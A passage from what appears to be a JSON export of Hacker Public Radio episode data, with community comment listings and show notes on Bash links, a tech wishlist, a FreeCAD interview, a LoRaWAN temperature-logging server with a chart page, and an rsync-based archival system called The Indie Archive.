                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMalink on 2025-01-08:\n\"God's Food Pantry\"
                                                              • Comment 2:\narcher72 on 2025-01-08:\n\"Thank you for this show\"
                                                              • Comment 3:\nClaudioM on 2025-01-08:\n\"Great Episode, SolusSpider!\"
                                                              • Comment 4:\nKevin O'Brien on 2025-01-09:\n\"Great show!\"
                                                              • Comment 5:\nPaulj on 2025-01-10:\n\"Great Episode\"
                                                              • Comment 6:\nSolusSpider - Peter Paterson on 2025-01-27:\n\"Appreciation\"

                                                              \n
                                                            • hpr4289\n(2025-01-09) \"Welcome Nuudle\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2025-01-09:\n\"Say Cheese...\"

                                                              \n
                                                            • hpr4291\n(2025-01-13) \"AM on the Nyquist Prompt\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-11:\n\"New Ham you say\"
                                                              • Comment 2:\npaulj on 2025-01-13:\n\"Thank you!\"

                                                              \n
                                                            • hpr4292\n(2025-01-14) \"Firefox Add-ons\"\nby Reto.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-11:\n\"Great Tips\"
                                                              • Comment 2:\nTrey on 2025-01-14:\n\"Hesitant about add-ons\"
                                                              • Comment 3:\nReto on 2025-01-17:\n\"in reply to Ken\"

                                                              \n
                                                            • hpr4293\n(2025-01-15) \"HTTrack website copier software\"\nby Henrik Hemrin.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-11:\n\"Great tip\"

                                                              \n
                                                            • hpr4294\n(2025-01-16) \"Schedule audio recordings on the command line - A bit of fine tuning\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-14:\n\"Nice to see the progression\"

                                                              \n
                                                            • hpr4295\n(2025-01-17) \"Three Holiday Hacks from 2023\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-14:\n\"Update after a year in the queue\"

                                                              \n
                                                            • hpr4296\n(2025-01-20) \"Crafting Interpreters\"\nby iota.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2025-01-19:\n\"First show\"

                                                              \n
                                                            • hpr4297\n(2025-01-21) \"Let me tell you a bit about FOSDEM\"\nby Trollercoaster.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2025-01-21:\n\"Thank you for sharing.\"
                                                              • Comment 2:\npaulj on 2025-01-28:\n\"See you there?!\"
                                                              • Comment 3:\nTrollercoaster on 2025-01-31:\n\"Thanks for the comments!\"

                                                              \n
                                                            • hpr4298\n(2025-01-22) \"Playing a Blu-ray disk directly from Linux.\"\nby SolusSpider.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2025-01-19:\n\"MakeMKV Beta key\"

                                                              \n
                                                            • hpr4299\n(2025-01-23) \"Building your own Debian images for your Raspberry Pi\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nReto on 2025-01-30:\n\"Firmware blob\"
                                                              • Comment 2:\ndnt on 2025-01-31:\n\"Re: Firmware blob\"

                                                              \n
                                                            • hpr4300\n(2025-01-24) \"Isaac Asimov: I, Robot\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-15:\n\"iRobot\"
                                                              • Comment 2:\nStilvoid on 2025-01-27:\n\"Great series\"
                                                              • Comment 3:\nKevin O'Brien on 2025-01-27:\n\"More to come\"

                                                              \n
                                                            • hpr4301\n(2025-01-27) \"Wide screen, synth, e-bike, led matrix clock and jewellery making\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-20:\n\"Wasting shows - OWWW !!!\"
                                                              • Comment 2:\nbrian-in-ohio on 2025-01-27:\n\"avrdude\"

                                                              \n
                                                            • hpr4302\n(2025-01-28) \"New Campaign Trail Playthrough\"\nby Lochyboy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-28:\n\"Spam ?\"

                                                              \n
                                                            • hpr4304\n(2025-01-30) \"Travel Pouch for Cables\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2025-01-30:\n\"Perfect timing\"

                                                              \n
                                                            • hpr4310\n(2025-02-07) \"Playing Civilization IV, Part 6\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-15:\n\"Not a gamer\"
                                                              • Comment 2:\nKevin O'Brien on 2025-01-15:\n\"Well, it is math, really\"

                                                              \n
                                                            • hpr4311\n(2025-02-10) \"LoRaWAN and the Things Stack\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-15:\n\"Great insignt into LoRaWAN\"

                                                              \n
                                                            • hpr4330\n(2025-03-07) \"GIMP: Fixing Photos\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-15:\n\"Great Tips\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mailing List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2025-January/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4307,"date":"2025-02-04","title":"Chat with Sgoti","duration":1224,"summary":"Sgoti gives a quick update.","notes":"\n 6.7 Arrays
                                                            \n Bash provides one-dimensional indexed and associative array\n variables.
                                                            \n https://www.gnu.org/software/bash/manual/html_node/Arrays.html
                                                            \n
                                                            \n 6.3. Pattern-Matching Rules\n docstore.mik.ua/orelly/unix3/vi/ch06_03.htm
                                                            \n https://docstore.mik.ua/orelly/unix3/vi/ch06_03.htm
                                                            \n
                                                            \n 6.1 How sed Works
                                                            \n sed maintains two data buffers: the active pattern space, and the\n auxiliary hold space.
                                                            \n https://www.gnu.org/software/sed/manual/html_node/Execution-Cycle.html
                                                            \n
                                                            \n Campaign 1: Vox Machina Podcast
                                                            \n https://critrole.com/campaign-1-podcast/
                                                            \n
                                                            \n wget - 1.25.0
                                                            \n https://www.gnu.org/software/wget/manual/
                                                            \n
                                                            \n Everything curl is an extensive guide for all things curl.
                                                            \n https://everything.curl.dev/index.html
                                                            \n
                                                            \n Screen is a full-screen window manager that multiplexes a physical\n terminal between...
                                                            \n https://www.gnu.org/software/screen/manual/
                                                            \n
                                                            \n tmux is a terminal multiplexer.
                                                            \n https://github.com/tmux/tmux/wiki
                                                            \n
                                                            \n
                                                            \n
                                                            \n
                                                            ","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"screen, wget, vox machina, bash","version":0,"downloads":0,"valid":1}, {"id":4308,"date":"2025-02-05","title":"What tech Kevie would spend £2000 on","duration":700,"summary":"Kevie discusses what tech related things he would spend £2000 on.","notes":"\n

                                                            \n What Tech would I spend my £2000 on:

                                                            \n

                                                            \n This episode took inspiration from \n episode 134 of the Linux Lads podcast

                                                            \n

                                                            \n \n Pilet £295 + Pi 5 (16GB) 114.90 = £409.90

                                                            \n

                                                            \n \n Juno Tab 3 £631.75

                                                            \n

                                                            \n \n FairPhone 5 £599

                                                            \n

                                                            \n Donations (£89.83 each):

                                                            \n

                                                            \n \n Mastodon.me.uk

                                                            \n

                                                            \n \n Open Rights Group

                                                            \n

                                                            \n archive.org https://archive.org/donate

                                                            \n

                                                            \n \n HPR Hosting

                                                            ","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Technology, charity, causes, spending","version":0,"downloads":0,"valid":1}, {"id":4309,"date":"2025-02-06","title":"Talking with Yorik","duration":1125,"summary":"An interview with Yorik, maintainer of FreeCAD, during their pre-FOSDEM hackathon","notes":"\n

                                                            \n\nIntroduction\n

                                                            \n
                                                              \n
                                                            • \nHost welcomes Yorik to the podcast.
                                                            • \n
                                                            • \nBrief mention of the hackathon and FreeCAD.
                                                            • \n
                                                            \n

                                                            \n\nWho is Yorik?\n

                                                            \n
                                                              \n
                                                            • \nIntroduction of Yorik as a co-founder of FreeCAD.
                                                            • \n
                                                            \n

                                                            \n\nThe Hackathon Event\n

                                                            \n
                                                              \n
                                                            • \nDiscussion about the FreeCAD hackathon at the hackerspace.
                                                            • \n
                                                            \n

                                                            \n\nFreeCAD Development & Community\n

                                                            \n
                                                              \n
                                                            • \nWho is involved in the development?
                                                            • \n
                                                            • \nThe role of contributors in shaping FreeCAD.
                                                            • \n
                                                            \n

                                                            \n\nFreeCAD’s Role in Open-Source CAD\n

                                                            \n
                                                              \n
                                                            • \nWhy FreeCAD matters in the open-source ecosystem.
                                                            • \n
                                                            • \nKey features that differentiate FreeCAD from proprietary software.
                                                            • \n
                                                            \n

                                                            \n\nChallenges in Open-Source Development\n

                                                            \n
                                                              \n
                                                            • \nWhat are the biggest hurdles in developing FreeCAD?
                                                            • \n
                                                            • \nFunding, contributions, and sustainability of FreeCAD.
                                                            • \n
                                                            \n

                                                            \n\nFuture of FreeCAD\n

                                                            \n
                                                              \n
                                                            • \nWhere is FreeCAD heading?
                                                            • \n
                                                            • \nNew features and roadmap for upcoming releases.
                                                            • \n
                                                            \n

                                                            \n\nHow to Get Involved\n

                                                            \n
                                                              \n
                                                            • \nWays to contribute to FreeCAD (coding, documentation, community support).
                                                            • \n
                                                            • \nHow non-programmers can help.
                                                            • \n
                                                            \n

                                                            \n\nClosing Remarks\n

                                                            \n
                                                              \n
                                                            • \nFinal thoughts from Yorik.
                                                            • \n
                                                            • \nHow to follow FreeCAD updates and get involved in the community.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWebsite: \nfreecad.org\n

                                                            \n

                                                            \nForum: \nforum.freecad.org\n

                                                            \n\n\n","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"FOSS, FreecAD, FOSDEM, Hackathon","version":0,"downloads":0,"valid":1}, {"id":4310,"date":"2025-02-07","title":"Playing Civilization IV, Part 6","duration":813,"summary":"We continue our look at the mechanics of this game","notes":"

                                                            Civilization IV made some changes, and in this episode we look at\nResearch, Wonders, and Great People.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV","version":0,"downloads":0,"valid":1}, {"id":4311,"date":"2025-02-10","title":"LoRaWAN and the Things Stack","duration":609,"summary":"Lee sets up some temperature and humidity sensors","notes":"

                                                            I have set up some LoRaWAN temperature and humidity sensors, and\n am using the Things Stack to collect the data.

                                                            \n


                                                            \n

                                                            \n

                                                            This gets processed via a web-hook and rendered as a graph.

                                                            \n


                                                            \n

                                                            \n

                                                            The LoRaWAN Alliance - \n https://lora-alliance.org

                                                            \n


                                                            \n

                                                            \n

                                                            Mastering LoRaWAN - \nhttps://www.amazon.com/Mastering-LoRaWAN-Comprehensive-Communication-Connectivity-ebook/dp/B0CTRH6MV6\n

                                                            \n


                                                            \n

                                                            \n

                                                            The Things Industries - https://thethingsindustries.com

                                                            \n


                                                            \n

                                                            \n

                                                            server.py

                                                            \n
                                                            import json\nimport sqlite3\nimport logging\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nrooms = {\n    'eui-24e12*********07': 'living-room',\n    'eui-24e12*********54': 'hall',\n    'eui-24e12*********42': 'downstairs-office',\n    'eui-24e12*********35': 'kitchen',\n    'eui-24e12*********29': 'conservatory',\n    'eui-24e12*********87': 'landing',\n    'eui-24e12*********45': 'main-bedroom',\n    'eui-24e12*********89': 'upstairs-office',\n    'eui-24e12*********38': 'spare-bedroom',\n    'eui-24e12*********37': 'playroom'\n};\n\n# Configure logging\nlogging.basicConfig(filename=\"server_log.txt\", level=logging.INFO, format=\"%(asctime)s - %(message)s\")\n\n# Define the web server handler\nclass MyServerHandler(BaseHTTPRequestHandler):\n\n    # Handle POST requests\n    def do_POST(self):\n        length = int(self.headers.get('Content-Length'))\n        data = self.rfile.read(length).decode('utf-8')\n\n        try:\n            # Validate and parse JSON data\n            json_data = json.loads(data)\n            logging.info(f\"Received valid JSON data: {json_data}\")\n\n            # Write the data to database\n            id = json_data[\"end_device_ids\"][\"device_id\"]\n            room = rooms.get(id)\n            readat = json_data[\"uplink_message\"][\"rx_metadata\"][0][\"time\"]\n            temp = json_data[\"uplink_message\"][\"decoded_payload\"][\"temperature\"]\n            hum = json_data[\"uplink_message\"][\"decoded_payload\"][\"humidity\"]\n            conn = sqlite3.connect('data.db')\n            sql = \"\"\"CREATE TABLE IF NOT EXISTS data (\n                id INTEGER PRIMARY KEY AUTOINCREMENT,\n                room TEXT,\n                readat DATETIME,\n                temp DECIMAL(4,1),\n                hum DECIMAL(4,1)\n            );\"\"\"\n            conn.execute(sql)\n            sql = \"INSERT INTO data (room, readat, temp, hum) VALUES (?, ?, ?, ?)\"\n            conn.execute(sql, (room, readat, temp, hum))\n            conn.commit()\n            conn.close()\n\n            self.send_response(200)\n            self.send_header(\"Content-type\", \"text/html\")\n            self.end_headers()\n            self.wfile.write(bytes(\"Data received and logged!\", \"utf-8\"))\n\n        except json.JSONDecodeError:\n            logging.error(\"Invalid JSON data received.\")\n            self.send_response(400)  # Bad Request\n            self.send_header(\"Content-type\", \"text/html\")\n            self.end_headers()\n            self.wfile.write(bytes(\"Invalid JSON format.\", \"utf-8\"))\n\n        except PermissionError:\n            logging.error(\"File write permission denied.\")\n            self.send_response(500)  # Internal Server Error\n            self.send_header(\"Content-type\", \"text/html\")\n            self.end_headers()\n            self.wfile.write(bytes(\"Server error: Unable to write data to file.\", \"utf-8\"))\n\n# Start the server\nserver_address = ('0.0.0.0', 12345)  # Customize host and port if needed\nhttpd = HTTPServer(server_address, MyServerHandler)\nprint(\"Server started on http://localhost:12345\")\nhttpd.serve_forever()\n
                                                            \n


                                                            \n

                                                            \n

                                                            process.php

                                                            \n
                                                            <!DOCTYPE html>\n<html>\n<head>\n<script src=\"https://cdn.jsdelivr.net/npm/chart.js\"></script>\n</head>\n<body>\n<canvas id=\"temp\" style=\"height:50vh\"></canvas>\n<canvas id=\"hum\" style=\"height:50vh\"></canvas>\n<script>\n<?php\n\n    $colors = [\n        '#FF9999',  // Light red\n        '#FFCC99',  // Light orange\n        '#FFFF99',  // Light yellow\n        '#CCFF99',  // Light lime green\n        '#99FF99',  // Light green\n        '#99FFCC',  // Light teal\n        '#99FFFF',  // Light sky blue\n        '#99CCFF',  // Light blue\n        '#9999FF',  // Light violet\n        '#CC99FF',  // Light lavender\n        '#FF99FF',  // Light pink\n        '#FFCCFF', // Light rose\n        '#FFD5D5',  // Light salmon\n        '#FFDDAA',  // Light peach\n        '#FFE0E0',  // Light beige\n        '#FFF0F0' // Light ivory\n    ];\n\n    $results = [\n        'living-room' => [\n            'temperature' => [],\n            'humidity' => []\n        ],\n        'hall' => [\n            'temperature' => [],\n            'humidity' => []\n        ],\n        'downstairs-office' => [\n            'temperature' => [],\n            'humidity' => []\n        ],\n        'kitchen' => [\n            'temperature' => [],\n            'humidity' => []\n        ],\n        'conservatory' => [\n            'temperature' => [],\n            'humidity' => []\n        ],\n        'landing' => [\n            'temperature' => [],\n            'humidity' => []\n        ],\n        'main-bedroom' => [\n            'temperature' => [],\n            'humidity' => []\n        ],\n        'upstairs-office' => [\n            'temperature' => [],\n            'humidity' => []\n        ],\n        'spare-bedroom' => [\n            'temperature' => [],\n            'humidity' => []\n        ],\n        'playroom' => [\n            'temperature' => [],\n            'humidity' => []\n        ]\n    ];\n\n    $labels = [];\n\n    $db = new SQLite3('data.db');\n        $sql = \"SELECT room, readat, temp, hum FROM data\";\n        $stmt = $db->prepare($sql);\n        $result = $stmt->execute();\n\n        while ($row = $result->fetchArray(SQLITE3_ASSOC)) {\n                $where = $row['room'];\n\n                                $tz = 'Europe/London';\n                                $dt = new DateTime($row['readat']);\n                                $dt->setTimezone(new DateTimeZone($tz));\n                                $when = $dt->format('d/m/Y, H:i');\n\n                $u = intdiv(date_format(date_create($row['readat']), \"U\"), 600);\n                $temp = number_format($row['temp'], 1);\n                $hum = number_format($row['hum'], 1);\n\n        $labels[$u] = \"\\\"$when\\\"\";\n\n                $results[$where]['temperature'][] = $temp;\n                $results[$where]['humidity'][] = $hum;\n        }\n\n        $stmt->close();\n        $db->close();\n\n    $c = 0;\n    foreach ($results as $key => $room) {\n        $col = $colors[$c];\n        $temp_datasets[] = \"{ label: \\\"$key °C\\\",  data: [ \".implode(\",\", $room['temperature']).\" ], borderColor: \\\"$col\\\" }\";\n        $hum_datasets[] = \"{ label: \\\"$key %\\\", data: [ \".implode(\",\", $room['humidity']).\" ], borderColor: \\\"$col\\\" }\";\n        $c++;\n    }\n\n?>\nconst data1 = { datasets: [ <?php echo implode(\",\",$temp_datasets); ?> ], labels: [<?php echo implode(\",\", $labels); ?>] };\nconst ctx1 = document.getElementById(\"temp\").getContext(\"2d\");\nconst options1 = {\n  type: \"line\",\n  data: data1,\n  options: {\n    elements: {\n      point:{\n        radius: 0\n      }\n    }\n  }\n};\nconst chart1 = new Chart(ctx1, options1);\n\nconst data2 = { datasets: [ <?php echo implode(\",\",$hum_datasets); ?> ], labels: [<?php echo implode(\",\", $labels); ?>] };\nconst ctx2 = document.getElementById(\"hum\").getContext(\"2d\");\nconst options2 = {\n  type: \"line\",\n  data: data2,\n  options: {\n    elements: {\n      point:{\n        radius: 0\n      }\n    }\n  }\n};\nconst chart2 = new Chart(ctx2, options2);\n</script>\n</body>\n</html>\n
                                                            \n


                                                            \n

                                                            \n

                                                            Temperature Chart

                                                            \n


                                                            \n

                                                            \n \"Graph\n


                                                            \n

                                                            \n

                                                            Humidity Chart

                                                            \n


                                                            \n

                                                            \n \"Graph\n


                                                            \n

                                                            \n","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"iot, lorawan","version":0,"downloads":0,"valid":1}, {"id":4312,"date":"2025-02-11","title":"What Is The Indie Archive?","duration":963,"summary":"The Indie Archive is a archival solution for indie producers.","notes":"\n

                                                            \n What Is The Indie Archive?

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I'm Hairy Larry and you're listening to the Plain Text Programs\n podcast.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The Indie Archive is a archival solution for indie producers.\n Since most indie producers run on a shoestring budget it's\n important that the Indie Archive is inexpensive to install and\n run. It's especially important that monthly expenses are minimal\n because a reasonable expense most months will sometimes be more\n than an indie producer can afford during some months.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The first major constraint is cost. So I'll be talking about\n prices a lot in this podcast and get more technical in future\n podcasts about The Indie Archive.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Indie Archive is an archival system which is different than a\n backup system. If you don't have a backup system do that first. My\n backup system uses the same tools as Indie Archive, rsync and\n rsnapshot. My brother uses the online backup service Carbonite.\n There are many other options.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n A good backup system runs automatically to back up everything\n frequently and preserve version history. It's also good to have\n backups offsite.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n An archival system, like Indie Archive, keeps multiple redundant\n copies across several hard drives on several systems in multiple\n locations. An archival system also checks file integrity as\n protection against file corruption or user error.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n When you have a project you really never want to lose, like a\n finished novel, a music album, a video, or any other major effort\n that involves significant work, that's when you need an archival\n system.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So The Indie Archive does not automatically backup your projects\n every day. That's what your backup system should do.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The Indie Archive is an archival system where the producer of the\n content decides what needs to be archived and when it needs to be\n archived and then manually moves a directory containing the files\n onto the Indie Archive carefully preserving the file's metadata\n during the transfer. Then these files are propagated over at least\n 7 hard drives on 4 different systems in three locations.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n File integrity checks are run daily comparing the files and\n reporting discrepancies.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Two of the systems are kept in the studio where the content is\n produced. I call them the primary and secondary systems. They have\n a boot drive and two data drives each.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n One of the systems is kept offsite at a nearby location. I call it\n the remote system. It also has a boot drive and two data drives.\n If you have a more distant location where you can put a second\n remotes system you can have remotenear and remotefar systems.\n Otherwise ...

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The final system is somewhere in the cloud provided by a\n professional data storage provider. It has a single copy of the\n data and usually some additional data retention. The provider\n makes the backups of this data. This is the part that might\n involve a monthly bill. So, depending on the size of your file\n set, it could be free or it could cost so much a month. There are\n a lot of options for cloud storage providers.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n But first I'm going to discuss the three systems, primary,\n secondary, and remote, and how they function.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n As far as the hardware goes the systems are the same. Now, I\"m a\n Linix guy and I do all my production work on Linux so I'm using\n Linux. I want to test the system on several versions of Linux and\n with BSD.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I'm not a Mac guy or a Windows guy so I won't be going there. The\n software is open source and the required programs run on all three\n platforms so I'll let a Mac or Windows programmer test The Indie\n Archive for their systems. My guess is that the Mac fork will be\n easier than the Windows fork because of the file metadata. It\n might even be possible to add Mac folders to The Indie Archive\n running Linux but I'll let someone who actually has a Mac figure\n that out.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I don't think the same is true for Windows. Windows file metadata\n is different and so if you want to preserve the metadata you will\n probably have to install The Indie Archive on Windows systems.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So, I'm developing and deploying on Linux and I will also test on\n BSD. So far I have tested Debian, Ununtu, FreeBSD, Midnight BSD,\n and Xubuntu and The Indie Archive works fine all of these\n operating systems.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So, back to the hardware. Pretty much any older system that will\n support at least three sata drives will work. I'm using older\n business class desktops, Dell and HP. I pulled mine out of storage\n but they are very inexpensive to buy if you're not like me with a\n shed full of old computer stuff. I just bought a Small Form Factor\n HP Desktop on ebay for $30 including tax and shipping.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n To clarify, it's best if the primary system supports 4 sata\n drives. The secondary and remote systems do not need an optical\n drive so they should support three sata drives but they can be run\n on two sata drives if you boot from the primaryfile drive. I am\n currently testing a remote system with two sata drives running\n Midnight BSD.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The Dell desktops made a big deal about being green. I am open to\n suggestions on what would be the best energy efficient systems for\n The Indie Archive, because of both the cost of electricity and the\n impact on the environment.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n There are three drives on each system, a boot drive and two data\n drives. The boot drives can be SSD or spinning hard drives and\n need to be big enough to hold the OS comfortably. The data drives\n need to be large enough to hold the files you want to archive and\n they should be high quality spinning drives, I use the multi\n terrabyte HGST drives and I am also looking at some Dell drives\n made by HGST.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n There will be a data drive and a snapshot drive on each system. If\n they are not the same size the snapshot drives should be larger. I\n am testing with 3 terrabyte data drives and 4 terrabyte snapshot\n drives. Besides the main data set that is being archived the\n snapshot drives also hold the version history of files that have\n been deleted or changed. So, that's why they should be the larger\n drive.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So my primary system has a primaryfiles directory with a 3\n terrabyte drive mounted to it and a primarysnapshots directory\n with a 4 terrabyte drive mounted to it. Same for the secondary and\n remote systems.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Now, so far I only had to buy one drive but generally speaking the\n six data drives will be the major expense in assembling the\n systems.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So a good bargain on six 4 terrabyte drives could be $120 used or\n $270 new. And this is the most expensive part.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I install used HGST drives all the time and rarely have problems\n with them. I have worked for clients who won't buy used, only new.\n Since the file integrity checks should give early warning on a\n drive failure and since there is a seven drive redundancy on the\n data files, if I were buying drives for The Indie Archive I'd go\n with six used 4 terrabyte HGST drives for $120.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n There is no reason not to use drives all the same size as long as\n the snapshot drives are large enough. The size of data drives you\n need depends on the size of your projects and the time it takes to\n do a project. Look at your hard drives on your working systems.\n Think about what directories you would like to see in archival\n storage. What is the total size of these directories? Check how\n many gigabytes these projects have consumed in the last year.\n Think forward a few years. Assume you will use more disc space in\n the future than you are now. Do some quick arithmetic and make a\n decision.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Like I said I only had to buy one drive so far because I'm weird\n and I had a bunch of 3 terrabyte drives available. If I had to buy\n drives I probably would have tried to start larger. I am sure that\n at some point in the not to distant future, when I am running The\n Indie Archive and not developing it, I will have to upgrade my\n drives.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The primary system is the console for The Indie Archive.\n When you copy a project onto The Indie Archive the directory goes\n into the primaryfiles directory. From there it is propagated out\n to the primarysnapshots directory, the secondary system, the cloud\n storage (if you are using it), and eventually to the remote\n systems.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n All of the data propagation is done with rsync using the archive\n setting that is desigend to preserve the file metadata like owner,\n permissions, and date last modified. So I have been using rsync\n with the archive setting to move the files from the work system to\n a usb drive and from the usb drive to the primaryfiles folder.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n At first I thought I would use an optical disc to move the files\n but optical discs do not preserve file metadata. Also I had some\n weird results with a usb flash drive because it was formatted\n fat32. fat32 does not support Linux metadata so if you're going to\n move projects over on a flash drive or a usb external drive be\n sure to format to ext4.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Another way to move projects over to the primaryfiles directory is\n with tar compression. This preserves metadata when the files are\n extracted so this might be easier and it works with optical\n drives. If your directory will fit on an optical drive this also\n gives you another backup on another media. If you have any\n suggestions on how to transfer projects while preserving the file\n metadata let me know.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I know that there are network options available but I am hesitant\n to recommend them because if I can transfer files from a system to\n the primary sytem over the LAN than anyone can do the same. Or\n delete files. Or accidentally delete directories. I kind of want\n to keep tight control over access to the primary system. It kind\n of ruins the archival quality of The Indie Archive if anyone on\n the LAN can accidentally mess with it.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So, I am open to dialogue on these issues. I'm kind of where I\n want it to be easy to add projects to The Indie Archive but not\n too easy, if you know what I mean. I feel like having to sit down\n at the primary system and enter a password should be the minimum\n amount of security required to access the primary system.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The primary system also runs file integrity checks daily from a\n cron job. All of the propagation and file integrity scripts have\n to be run as root to preserve the metadata since only root can\n write a file that it doesn't own.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The secondary system is the ssh server for The Indie Archive. The\n primary system logs onto the secondary system as root using ssh.\n Security is managed with public and private keys so entering a\n password is not required. After the keys are set up for both the\n primary and remote systems, password authentication is disabled\n for the ssh server so only those two systems can ssh into the\n secondary system.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n When the propagation script is run on the primary system rsnapshot\n is used to create a current version of the primaryfiles directory\n in the primarysnapshots directory.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Then the primary system uses rsync over ssh to make a copy of the\n primaryfiles directory to the secondaryfiles directory.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Then the primary system logs onto the secondary system as root and\n rsnapshot is used to create a current version of the\n secondaryfiles directory on the secondarysnapshots directory.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Finally, if cloud storage is being used, the primary system uses\n gcloud rsync to make a copy of the primaryfiles directory to a\n google cloud storage bucket archive. I have this bucket set to 90\n days soft delete. If you are using another type of cloud storage\n on Google, AWS, Mega, or other storage providers this command will\n have to be adjusted.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The reason I chose the gcloud archive bucket is because of the\n storage cost per gigabyte. They have the cheapest cost per\n gigabyte that I found. This will keep the monthly bill low.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Once a day the primary system runs the file integrity check from a\n cron job using rsync to compare the primaryfiles directory to the\n current version, alpha.0, in the primarysnapshots directory\n logging any discrepancies. It then does the same comparing\n primaryfiles to secondaryfiles and to the current version in the\n secondarysnapshots directory, logging discrepancies and notifying\n the maintainer of any discrepancies. Notification is done by email\n using curl and an SMTP provider.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The remote system runs on it's own schedule, logging into the\n secondary system daily to copy data from secondaryfiles to\n remotefiles and then using rsnapshot to make a copy of remotefiles\n to the remotesnapshots directory.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Since it's run on a daily schedule it uses rsnapshot with the\n standard daily, weekly, monthly, and yearly backups.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

